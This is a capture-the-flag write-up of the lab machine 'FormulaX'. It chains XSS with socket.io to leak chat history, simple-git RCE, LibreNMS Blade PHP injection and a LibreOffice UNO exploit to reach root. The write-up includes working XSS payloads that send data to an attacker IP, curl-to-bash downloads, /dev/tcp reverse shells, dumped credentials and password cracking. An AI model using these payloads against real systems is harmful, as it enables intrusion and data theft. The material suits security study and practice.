FormulaX
Recon
Note: Hosts updated after "Leak Internal User History" section
└─$ grep chat /etc/hosts
10.10.11.6 chatbot.htb dev-git-auto-update.chatbot.htb
HTTP (80)
We are redirected to the login page

Creds: Test02:Test02@test.com:Test02
Dashboard gives us few more options to use application.

XSS
On contact page it is possible to do an XSS. The XSS should have been removed after first request, but it seems to be persistent.

In chat html source we find:
<script src="/socket.io/socket.io.js"></script>
<script src="./chat.js"></script>
chat.js: http://10.10.11.6/restricted/chat.js
let value;
const res = axios.get(`/user/api/chat`);
const socket = io('/',{withCredentials: true});
//listening for the messages
socket.on('message', (my_message) => {
//console.log("Received From Server: " + my_message)
Show_messages_on_screen_of_Server(my_message)
})
The "bot" is using sockets to communicate to backend. In our short chat we see that service is not available to users, but maybe internal users? From Contact Us
using XSS we could probably leak the history of internal user!

Leak Internal User History
To make XSS work we need to load our script and socker.io
. script
tag doesn't work, so we have to use img
tag or others. Used https://minify-js.com to minify the code into one liner.
<!-- Verbose -->
<script>
const xss = document.createElement('script')
xss.src = 'http://10.10.16.75:8890/xss.js'
document.body.appendChild(xss)
</script>
<script>
const sock = document.createElement('script')
sock.src = '/socket.io/socket.io.js'
document.body.appendChild(sock)
</script>
<!-- Injection -->
<img src=y onerror='const sock=document.createElement(`script`);sock.src=`/socket.io/socket.io.js`,document.body.appendChild(sock);'>
<img src=x onerror='const xss=document.createElement(`script`);xss.src=`http://10.10.16.75:8890/xss.js`,document.body.appendChild(xss);'/>
// xss.js
let value;
const res = axios.get(`/user/api/chat`);
const socket = io("/", { withCredentials: true });
socket.on("message", (msg) => {
fetch("http://10.10.16.75:8888/?m=" + msg);
});
const typing_chat = () => {
value = "history";
if (value) {
socket.emit("client_message", value);
}
};
typing_chat();

10.10.11.6 - - [17/Jun/2024 12:38:39] "OPTIONS /?m=Write a script for dev-git-auto-update.chatbot.htb to work properly HTTP/1.1" 501 -
Git Report Generator

The simple-git
v3.14 is vulnerable to CVE-2022-25912: RCE
Verify via curl
:
Reverse Shell (www-data)
Piping to sh
didn't start the shell, but bash did.
Repo url: ext::sh -c curl% 10.10.16.75/rev|bash
Rev: /bin/bash -i >& /dev/tcp/10.10.16.75/4444 0>&1

(remote) www-data@formulax:/var/www/app$ ls -lahr
total 716K
dr-xr-xr-x 2 root root 4.0K Jul 28 2023 routes
dr-xr-xr-x 6 root root 4.0K Jul 28 2023 public
-r-xr-xr-x 1 root root 969 Jun 4 2023 package.json
-r-xr-xr-x 1 root root 132K Jul 28 2023 package-lock.json
dr-xr-xr-x 198 root root 4.0K Jul 28 2023 node_modules
dr-xr-xr-x 2 root root 4.0K Jul 28 2023 models
dr-xr-xr-x 2 root root 4.0K Jul 28 2023 middleware
-r-xr-xr-x 1 root root 24 Jun 4 2023 index.js
dr-xr-xr-x 2 root root 4.0K Jul 28 2023 controllers
dr-xr-xr-x 2 root root 4.0K Jul 28 2023 configuration
-r-xr-xr-x 1 root root 529K Jul 28 2023 chatbot.zip
-r-xr-xr-x 1 root root 2.0K Jul 28 2023 app.js
-r-xr-xr-x 1 root root 116 Jul 28 2023 .env
drwxr-xr-x 11 www-data www-data 4.0K Feb 20 16:14 ..
dr-xr-xr-x 9 root root 4.0K Jul 28 2023 .
(remote) www-data@formulax:/var/www/app$ cat .env
PORT = 8082
URL_DATABASE="mongodb://localhost:27017"
SECRET=ThisIsTheN0deSecret
ADMIN_EMAIL="admin@chatbot.htb"
(remote) www-data@formulax:/var/www/app$ ss -tulnp4
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:162 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 511 127.0.0.1:3000 0.0.0.0:* users:(("nginx",pid=941,fd=6),("nginx",pid=940,fd=6))
tcp LISTEN 0 511 127.0.0.1:8000 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:27017 0.0.0.0:*
tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 10 127.0.0.1:42031 0.0.0.0:* users:(("chrome",pid=1218,fd=45))
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:* users:(("nginx",pid=941,fd=7),("nginx",pid=940,fd=7))
tcp LISTEN 0 511 127.0.0.1:8081 0.0.0.0:* users:(("node /var/www/g",pid=1158,fd=20))
tcp LISTEN 0 4096 127.0.0.1:2002 0.0.0.0:*
tcp LISTEN 0 511 127.0.0.1:8082 0.0.0.0:* users:(("node /var/www/a",pid=1154,fd=19))
We have mongo database password which means we can explore it.
(remote) www-data@formulax:/var/www$ mongo --shell -p ThisIsTheN0deSecret
MongoDB shell version v4.4.29
connecting to: mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName=mongodb
Implicit session: session { "id" : UUID("6fe83776-f146-4773-a624-afe087e1bbcd") }
MongoDB server version: 4.4.8
...
> show dbs
admin 0.000GB
config 0.000GB
local 0.000GB
testing 0.000GB
> use testing
switched to db testing
> show collections
messages
users
> db.users.find()
{ "_id" : ObjectId("648874de313b8717284f457c"), "name" : "admin", "email" : "admin@chatbot.htb", "password" : "$2b$10$VSrvhM/5YGM0uyCeEYf/TuvJzzTz.jDLVJ2QqtumdDoKGSa.6aIC.", "terms" : true, "value" : true, "authorization_token" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySUQiOiI2NDg4NzRkZTMxM2I4NzE3Mjg0ZjQ1N2MiLCJpYXQiOjE3MTg2NDQyNjN9.Sw95qzNNusVXq5sNohjoQu6DVbYNbPdfsvg-Dm2vei8", "__v" : 0 }
{ "_id" : ObjectId("648874de313b8717284f457d"), "name" : "frank_dorky", "email" : "frank_dorky@chatbot.htb", "password" : "$2b$10$hrB/by.tb/4ABJbbt1l4/ep/L4CTY6391eSETamjLp7s.elpsB4J6", "terms" : true, "value" : true, "authorization_token" : " ", "__v" : 0 }
> db.messages.find()
SSH (22)
Privilege Escalation (frank_dorky)
Crack the hash of ssh user frank
:
➜ .\hashcat.exe --show hashes
The following 4 hash-modes match the structure of your input hash: # | Name | Category
======+============================================================+======================================
3200 | bcrypt $2*$, Blowfish (Unix) | Operating System
25600 | bcrypt(md5($pass)) / bcryptmd5 | Forums, CMS, E-Commerce
25800 | bcrypt(sha1($pass)) / bcryptsha1 | Forums, CMS, E-Commerce
28400 | bcrypt(sha512($pass)) / bcryptsha512 | Forums, CMS, E-Commerce
➜ .\john-1.9.0-jumbo-1-win64\run\john.exe --wordlist=rockyou.txt --format=bcrypt .\hashes
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
No password hashes left to crack (see FAQ)
➜ .\john-1.9.0-jumbo-1-win64\run\john.exe --show .\hashes
?:manchesterunited
1 password hash cracked, 0 left
# Already had cracked before notes.
Creds: frank_dorky:manchesterunited
User.txt
frank_dorky@formulax:~$ cat user.txt
f143cc488c556d06cca64663a0f5a71f
Privilege Escalation (librenms)
Enumerate the system with linpeas:
frank_dorky@formulax:/tmp$ curl 10.10.16.75/linpeas.sh | bash | tee lp.log
In the processes we see an interesting one, frank is running libreoffice
as kai_relay
and with sudo
permissions.

In the nginx
module we see it's ran on port 3000:
-rw-r--r-- 1 root root 565 Jun 19 2023 /etc/nginx/conf.d/librenms.conf
server {
listen 127.0.0.1:3000;
server_name librenms.com;
root /opt/librenms/html;
index index.php;
charset utf-8;
gzip on;
gzip_types text/css application/javascript text/javascript application/x-javascript image/svg+xml text/plain text/xsd text/xsl text/xml image/x-icon;
location / {
try_files $uri $uri/ /index.php?$query_string;
}
location ~ [^/]\.php(/|$) {
fastcgi_pass unix:/run/php-fpm-librenms.sock;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
include fastcgi.conf;
}
location ~ /\.(?!well-known).* {
deny all;
}
}
Do a port forwarding via SSH:
└─$ ssh frank_dorky@chatbot.htb -L 3000:127.0.0.1:3000
LibreNMS

The app lives on /opt/librenms
, but we don't have permission to list files
frank_dorky@formulax:/opt$ ls -alh
total 12K
drwxr-xr-x 3 root root 4.0K Feb 16 15:21 .
drwxr-xr-x 19 root root 4.0K Feb 20 16:16 ..
drwxrwx--x 27 librenms librenms 4.0K Feb 19 13:33 librenms
frank_dorky@formulax:/opt$ cat librenms/.env.example
APP_KEY=
#DB_HOST=
#DB_DATABASE=
#DB_USERNAME=
#DB_PASSWORD=
#APP_URL=
Execute (x) permission on a directory allows a user to:
Enter the Directory: The user can change into the directory using the cd command.
Access Inodes: The user can access the metadata of the files within the directory, but not their content or names unless the file's specific permissions also grant read or execute rights.
Meaning:
No Listing (ls): The user cannot list the contents of the directory. Commands like ls will not work. Access by Name: The user can access files and subdirectories within the directory if they know the exact names and have the appropriate permissions on those files or subdirectories.
No Creation or Deletion: The user cannot create or delete files in the directory, as write permissions (w) are required for these operations.
Looks like there's adduser.php
script which can be used to add users src
frank_dorky@formulax:/opt/librenms$ cat adduser.php
#!/usr/bin/env php
<?php
/*
* LibreNMS
*
* This file is part of LibreNMS.
*
* @package LibreNMS
* @subpackage cli
* @copyright (C) 2006 - 2012 Adam Armstrong
*
*/
use LibreNMS\Authentication\LegacyAuth;
$init_modules = [];
if (php_sapi_name() != 'cli') {
$init_modules[] = 'auth';
}
require __DIR__ . '/includes/init.php';
if (LegacyAuth::get()->canManageUsers()) {
if (isset($argv[1]) && isset($argv[2]) && isset($argv[3])) {
if (! LegacyAuth::get()->userExists($argv[1])) {
if (LegacyAuth::get()->addUser($argv[1], $argv[2], $argv[3], @$argv[4])) {
echo 'User ' . $argv[1] . " added successfully\n";
}
} else {
echo 'User ' . $argv[1] . " already exists!\n";
}
} else {
echo "Add User Tool\nUsage: ./adduser.php <username> <password> <level 1-10> [email]\n";
}
} else {
echo "Auth module does not allow adding users!\n";
}//end if
Add user:
frank_dorky@formulax:/opt/librenms$ ./adduser.php test02 test02 10
User test02 added successfully

There was some DNS problem, so update localhost to match domain.
└─$ cat /etc/hosts
# 127.0.0.1 localhost
127.0.1.1 kraken
127.0.0.1 librenms.com
It looks like in alert
templates we can use blade
syntax to write php/html file.

Inject PHP via Blade syntax: https://laravel.com/docs/11.x/blade#raw-php

└─$ pwncat -lp 4444
[14:56:09] Welcome to pwncat 🐈! __main__.py:164
[14:56:40] received connection from 10.10.11.6:45546 bind.py:84
[14:56:48] 10.10.11.6:45546: registered new host w/ db manager.py:957
(local) pwncat$
(remote) librenms@formulax:/opt/librenms$ whoami
librenms
(remote) librenms@formulax:/opt/librenms$ ls *env*
ls: cannot access '*env*': No such file or directory
(remote) librenms@formulax:/opt/librenms$ ls .*env*
.custom.env .env.example .env.travis
(remote) librenms@formulax:/opt/librenms$ cat .custom.env
APP_KEY=base64:jRoDTOFGZEO08+68w7EzYPp8a7KZCNk+4Fhh97lnCEk=
DB_HOST=localhost
DB_DATABASE=librenms
DB_USERNAME=kai_relay
DB_PASSWORD=mychemicalformulaX
#APP_URL=
NODE_ID=648b260eb18d2
VAPID_PUBLIC_KEY=BDhe6thQfwA7elEUvyMPh9CEtrWZM1ySaMMIaB10DsIhGeQ8Iks8kL6uLtjMsHe61-ZCC6f6XgPVt7O6liSqpvg
VAPID_PRIVATE_KEY=chr9zlPVQT8NsYgDGeVFda-AiD0UWIY6OW-jStiwmTQ
Privilege Escalation (kai_relay)
su - kai_relay
Privilege Escalation (root)


After googling soffice
exploits we end up on: https://www.exploit-db.com/exploits/46544
kai_relay@formulax:/tmp$ cat rev
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.16.75/4444 0>&1
kai_relay@formulax:/tmp$ chmod u+x rev
kai_relay@formulax:/tmp$ tail exp.py
print("[+] Connecting to target...")
context = resolver.resolve(
"uno:socket,host={0},port={1};urp;StarOffice.ComponentContext".format(args.host,args.port))
# Issue the service manager to spawn the SystemShellExecute module and execute calc.exe
service_manager = context.ServiceManager
print("[+] Connected to {0}".format(args.host))
shell_execute = service_manager.createInstance("com.sun.star.system.SystemShellExecute")
shell_execute.execute('/tmp/rev', '',1)
kai_relay@formulax:/tmp$ python3 exp.py --host 0 --port 2002 # Connect to local instance
[+] Connecting to target...
[+] Connected to 0
Catch the shell and gain root.
Root.txt
root@formulax:~# cat root.txt
e2fadc7fb844028b0cd37d96de7be682
Last updated